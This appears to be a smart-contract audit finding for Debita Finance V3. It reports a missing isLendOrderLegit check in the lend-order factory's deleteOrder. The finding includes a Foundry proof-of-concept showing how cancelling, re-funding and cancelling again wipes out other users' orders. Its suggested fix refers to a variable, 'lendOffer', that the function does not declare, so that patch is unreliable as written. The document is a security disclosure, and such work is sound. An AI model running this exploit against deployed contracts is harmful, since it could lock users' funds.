Dry Aqua Sheep
High
Implementation of canceling lending order did not set isLendOrderLegit
to false, will cause attacker to cancel all lending orders bricking the protocol and user's funds locked in lending implementation contract.
There is a missing check of isLendOrderLegit
in deleteOrder
allowing attacker to cancel their offer first then delete other lending orders in factory.
https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/376fec45be95bd4bbc929fd37b485076b03ab8b0/Debita-V3-Contracts/contracts/DebitaLendOfferFactory.sol#L207
No response
- There must be lending orders created by users.
- Users create lending orders.
- Attacker able to cancel order using their implementation contract.
- Attacker cancel their lending order.
- Attacker add funds using
addFunds
which allow them to cancel order in factory. - This causes the array of other lending order to be removed.
Protocol Insolvency and user funds locked permanently.
Create file in 2024-11-debita-finance-v3/Debita-V3-Contracts/test/local/Loan/Poc.t.sol
pragma solidity ^0.8.0;
import {Test, console} from "forge-std/Test.sol";
import {veNFTEqualizer} from "@contracts/Non-Fungible-Receipts/veNFTS/Equalizer/Receipt-veNFT.sol";
import {veNFTVault} from "@contracts/Non-Fungible-Receipts/veNFTS/Equalizer/veNFTEqualizer.sol";
import {DBOFactory} from "@contracts/DebitaBorrowOffer-Factory.sol";
import {DBOImplementation} from "@contracts/DebitaBorrowOffer-Implementation.sol";
import {DLOFactory} from "@contracts/DebitaLendOfferFactory.sol";
import {DLOImplementation} from "@contracts/DebitaLendOffer-Implementation.sol";
import {DebitaV3Aggregator} from "@contracts/DebitaV3Aggregator.sol";
import {Ownerships} from "@contracts/DebitaLoanOwnerships.sol";
import {auctionFactoryDebita} from "@contracts/auctions/AuctionFactory.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {DynamicData} from "../../interfaces/getDynamicData.sol";
// import ERC20
import {ERC20Mock} from "@openzeppelin/contracts/mocks/token/ERC20Mock.sol";
import {DebitaV3Loan} from "@contracts/DebitaV3Loan.sol";
import {DebitaIncentives} from "@contracts/DebitaIncentives.sol";
import {DebitaV3Loan} from "@contracts/DebitaV3Loan.sol";
contract PoC is Test, DynamicData {
veNFTEqualizer public receiptContract;
DBOFactory public DBOFactoryContract;
DLOFactory public DLOFactoryContract;
Ownerships public ownershipsContract;
DebitaIncentives public incentivesContract;
DebitaV3Aggregator public DebitaV3AggregatorContract;
auctionFactoryDebita public auctionFactoryDebitaContract;
DynamicData public allDynamicData;
DebitaV3Loan public DebitaV3LoanContract;
ERC20Mock public AEROContract;
ERC20Mock public USDCContract;
DLOImplementation public LendOrder;
DLOImplementation public SecondLendOrder;
DBOImplementation public BorrowOrder;
address AERO;
address USDC;
address borrower = address(0x02);
address firstLender = address(this);
address secondLender = 0x5C235931376b21341fA00d8A606e498e1059eCc0;
address buyer = 0x5C235931376b21341fA00d8A606e498e1059eCc0;
address feeAddress = address(this);
uint receiptID;
function setUp() public {
allDynamicData = new DynamicData();
ownershipsContract = new Ownerships();
incentivesContract = new DebitaIncentives();
DBOImplementation borrowOrderImplementation = new DBOImplementation();
DBOFactoryContract = new DBOFactory(address(borrowOrderImplementation));
DLOImplementation proxyImplementation = new DLOImplementation();
DLOFactoryContract = new DLOFactory(address(proxyImplementation));
auctionFactoryDebitaContract = new auctionFactoryDebita();
AEROContract = new ERC20Mock();
deal(address(AEROContract), address(this), 1000e18, true);
USDCContract = new ERC20Mock();
DebitaV3Loan loanInstance = new DebitaV3Loan();
DebitaV3AggregatorContract = new DebitaV3Aggregator(
address(DLOFactoryContract),
address(DBOFactoryContract),
address(incentivesContract),
address(ownershipsContract),
address(auctionFactoryDebitaContract),
address(loanInstance)
);
AERO = address(AEROContract);
USDC = address(USDCContract);
ownershipsContract.setDebitaContract(
address(DebitaV3AggregatorContract)
);
auctionFactoryDebitaContract.setAggregator(
address(DebitaV3AggregatorContract)
);
DLOFactoryContract.setAggregatorContract(
address(DebitaV3AggregatorContract)
);
DBOFactoryContract.setAggregatorContract(
address(DebitaV3AggregatorContract)
);
incentivesContract.setAggregatorContract(
address(DebitaV3AggregatorContract)
);
DebitaV3AggregatorContract.setValidNFTCollateral(
address(receiptContract),
true
);
deal(AERO, firstLender, 1000e18, false);
deal(AERO, secondLender, 1000e18, false);
deal(AERO, borrower, 1000e18, false);
deal(USDC, borrower, 1000e18, false);
vm.startPrank(borrower);
IERC20(AERO).approve(address(DBOFactoryContract), 100e18);
bool[] memory oraclesActivated = allDynamicData.getDynamicBoolArray(1);
uint[] memory ltvs = allDynamicData.getDynamicUintArray(1);
uint[] memory ratio = allDynamicData.getDynamicUintArray(1);
address[] memory acceptedPrinciples = allDynamicData
.getDynamicAddressArray(1);
address[] memory acceptedCollaterals = allDynamicData
.getDynamicAddressArray(1);
address[] memory oraclesPrinciples = allDynamicData
.getDynamicAddressArray(1);
ratio[0] = 5e17;
oraclesPrinciples[0] = address(0x0);
acceptedPrinciples[0] = AERO;
acceptedCollaterals[0] = USDC;
oraclesActivated[0] = false;
ltvs[0] = 0;
USDCContract.approve(address(DBOFactoryContract), 11e18);
address borrowOrderAddress = DBOFactoryContract.createBorrowOrder(
oraclesActivated,
ltvs,
1400,
864000,
acceptedPrinciples,
USDC,
false,
0,
oraclesPrinciples,
ratio,
address(0x0),
10e18
);
vm.stopPrank();
AEROContract.approve(address(DLOFactoryContract), 5e18);
ratio[0] = 65e16;
address lendOrderAddress = DLOFactoryContract.createLendOrder(
false,
oraclesActivated,
false,
ltvs,
2000,
8640000,
86400,
acceptedCollaterals,
AERO,
oraclesPrinciples,
ratio,
address(0x0),
5e18
);
vm.startPrank(secondLender);
AEROContract.approve(address(DLOFactoryContract), 5e18);
ratio[0] = 4e17;
address SecondlendOrderAddress = DLOFactoryContract.createLendOrder(
false,
oraclesActivated,
false,
ltvs,
500,
9640000,
86400,
acceptedCollaterals,
AERO,
oraclesPrinciples,
ratio,
address(0x0),
5e18
);
vm.stopPrank();
LendOrder = DLOImplementation(lendOrderAddress);
BorrowOrder = DBOImplementation(borrowOrderAddress);
SecondLendOrder = DLOImplementation(SecondlendOrderAddress);
}
function testDeleteTwicePoC() public {
// Basicaly can delete other contracts
vm.startPrank(secondLender);
// At first there are 2
assertEq(DLOFactoryContract.activeOrdersCount(),2);
SecondLendOrder.cancelOffer();
// Should become 1
assertEq(DLOFactoryContract.activeOrdersCount(),1);
//
AEROContract.approve(address(SecondLendOrder), 10);
SecondLendOrder.addFunds(10);
SecondLendOrder.cancelOffer();
assertEq(DLOFactoryContract.activeOrdersCount(),0);
vm.stopPrank();
}
}
function deleteOrder(address _lendOrder) external onlyLendOrder {
+ require(isLendOrderLegit[address(lendOffer)], "Order has been cancelled");
+ isLendOrderLegit[address(lendOffer)] = false;
uint index = LendOrderIndex[_lendOrder];
LendOrderIndex[_lendOrder] = 0;
// switch index of the last borrow order to the deleted borrow order
allActiveLendOrders[index] = allActiveLendOrders[activeOrdersCount - 1];
LendOrderIndex[allActiveLendOrders[activeOrdersCount - 1]] = index;
// take out last borrow order
allActiveLendOrders[activeOrdersCount - 1] = address(0);
activeOrdersCount--;
}